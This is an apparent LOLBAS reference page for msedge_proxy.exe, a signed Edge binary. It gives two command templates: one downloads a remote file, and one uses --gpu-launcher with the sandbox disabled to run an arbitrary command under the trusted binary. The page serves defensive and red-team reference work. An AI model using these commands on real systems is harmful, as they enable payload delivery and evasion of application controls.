LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

msedge_proxy.exe

View source

Microsoft Edge Browser

DownloadExecute
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Download1

EXAMPLE 01T1105

msedge_proxy will download malicious file.

COMMAND
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}
USE CASE
Download file from the internet
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11

Execute1

EXAMPLE 01T1218.015

msedge_proxy.exe will execute file in the background

COMMAND
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
USE CASE
Executes a process under a trusted Microsoft signed binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · CMD
02 / ON DISK

Known paths

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
COMMUNITY RESEARCH

Acknowledgements

Mert Daş@merterpreter